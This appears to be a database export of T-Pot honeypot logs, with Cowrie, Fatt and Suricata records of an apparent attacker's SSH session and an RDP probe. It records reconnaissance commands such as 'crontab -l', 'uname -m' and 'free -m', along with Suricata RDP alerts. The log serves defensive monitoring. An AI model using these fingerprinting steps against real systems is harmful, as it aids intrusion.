20252	94.232.41.165	109.199.241.180	Fatt	2021-09-20 14:02:17.646335+03	2021-09-20 14:15:02.149613+03	{"_id": "7gXeAnwBvYTbRNuE8vbV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 11230, "dest_port": 3389, "timestamp": "2021-09-20T11:02:17.646335", "@timestamp": "2021-09-20T11:02:17.646Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
20253	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.173522+03	2021-09-20 14:15:02.150612+03	{"_id": "7wXeAnwBvYTbRNuE8vbV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:17.173522Z", "@timestamp": "2021-09-20T11:02:17.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20254	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.400635+03	2021-09-20 14:15:02.152613+03	{"_id": "8AXeAnwBvYTbRNuE8vbV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:17.400635Z", "@timestamp": "2021-09-20T11:02:17.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20255	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.401125+03	2021-09-20 14:15:02.153613+03	{"_id": "8QXeAnwBvYTbRNuE8vbV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:17.401125Z", "@timestamp": "2021-09-20T11:02:17.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20256	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.634215+03	2021-09-20 14:15:02.154612+03	{"_id": "8gXeAnwBvYTbRNuE8vbV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:17.634215Z", "@timestamp": "2021-09-20T11:02:17.634Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20257	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.709311+03	2021-09-20 14:15:02.155613+03	{"_id": "8wXeAnwBvYTbRNuE8vbV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 23, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "91.200.124.7", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07576465606689453, "duplicate": true, "timestamp": "2021-09-20T11:02:17.709311Z", "@timestamp": "2021-09-20T11:02:17.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20258	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.92883+03	2021-09-20 14:15:02.156614+03	{"_id": "9AXeAnwBvYTbRNuE8vbV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "91.200.124.7", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.0775308609008789, "duplicate": true, "timestamp": "2021-09-20T11:02:17.928830Z", "@timestamp": "2021-09-20T11:02:17.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20259	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.025637+03	2021-09-20 14:15:02.157613+03	{"_id": "-gXeAnwBvYTbRNuE8_Yn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "91.200.124.7", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07775211334228516, "duplicate": true, "timestamp": "2021-09-20T11:02:17.025637Z", "@timestamp": "2021-09-20T11:02:17.025Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20260	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.172978+03	2021-09-20 14:15:02.159613+03	{"_id": "-AXeAnwBvYTbRNuE8_Yn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:17.172978Z", "@timestamp": "2021-09-20T11:02:17.172Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20261	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.400095+03	2021-09-20 14:15:02.160612+03	{"_id": "_AXeAnwBvYTbRNuE8_Yn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:17.400095Z", "@timestamp": "2021-09-20T11:02:17.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20262	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.478311+03	2021-09-20 14:15:02.161612+03	{"_id": "_QXeAnwBvYTbRNuE8_Yn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "91.200.124.7", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.0783076286315918, "duplicate": true, "timestamp": "2021-09-20T11:02:17.478311Z", "@timestamp": "2021-09-20T11:02:17.478Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20263	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.63367+03	2021-09-20 14:15:02.162613+03	{"_id": "_gXeAnwBvYTbRNuE8_Yn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:17.633670Z", "@timestamp": "2021-09-20T11:02:17.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20264	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.851418+03	2021-09-20 14:15:02.163614+03	{"_id": "_wXeAnwBvYTbRNuE8_Yn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:17.851418Z", "@timestamp": "2021-09-20T11:02:17.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20265	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.851969+03	2021-09-20 14:15:02.164613+03	{"_id": "AAXeAnwBvYTbRNuE8_cn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:17.851969Z", "@timestamp": "2021-09-20T11:02:17.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20266	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:02:17.780899+03	2021-09-20 14:15:02.165612+03	{"_id": "AgXeAnwBvYTbRNuE9ffx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:17.576520+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 429915123600392, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 11230, "dest_port": 3389, "timestamp": "2021-09-20T11:02:17.780899Z", "@timestamp": "2021-09-20T11:02:17.780Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20267	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:02:17.780899+03	2021-09-20 14:15:02.167613+03	{"_id": "AwXeAnwBvYTbRNuE9ffx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:17.576520+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 429915123600392, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 11230, "dest_port": 3389, "timestamp": "2021-09-20T11:02:17.780899Z", "@timestamp": "2021-09-20T11:02:17.780Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20268	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.410117+03	2021-09-20 14:15:02.168613+03	{"_id": "BQXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "91.200.124.7", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07834076881408691, "duplicate": true, "timestamp": "2021-09-20T11:02:18.410117Z", "@timestamp": "2021-09-20T11:02:18.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20269	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.083581+03	2021-09-20 14:15:02.169613+03	{"_id": "CgXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:18.083581Z", "@timestamp": "2021-09-20T11:02:18.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20270	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.788477+03	2021-09-20 14:15:02.170613+03	{"_id": "BgXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:18.788477Z", "@timestamp": "2021-09-20T11:02:18.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20271	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.789028+03	2021-09-20 14:15:02.171613+03	{"_id": "CAXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:18.789028Z", "@timestamp": "2021-09-20T11:02:18.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20272	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.160237+03	2021-09-20 14:15:02.172613+03	{"_id": "DQXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "91.200.124.7", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07729101181030273, "duplicate": true, "timestamp": "2021-09-20T11:02:18.160237Z", "@timestamp": "2021-09-20T11:02:18.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20273	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.331875+03	2021-09-20 14:15:02.173613+03	{"_id": "DgXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:18.331875Z", "@timestamp": "2021-09-20T11:02:18.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
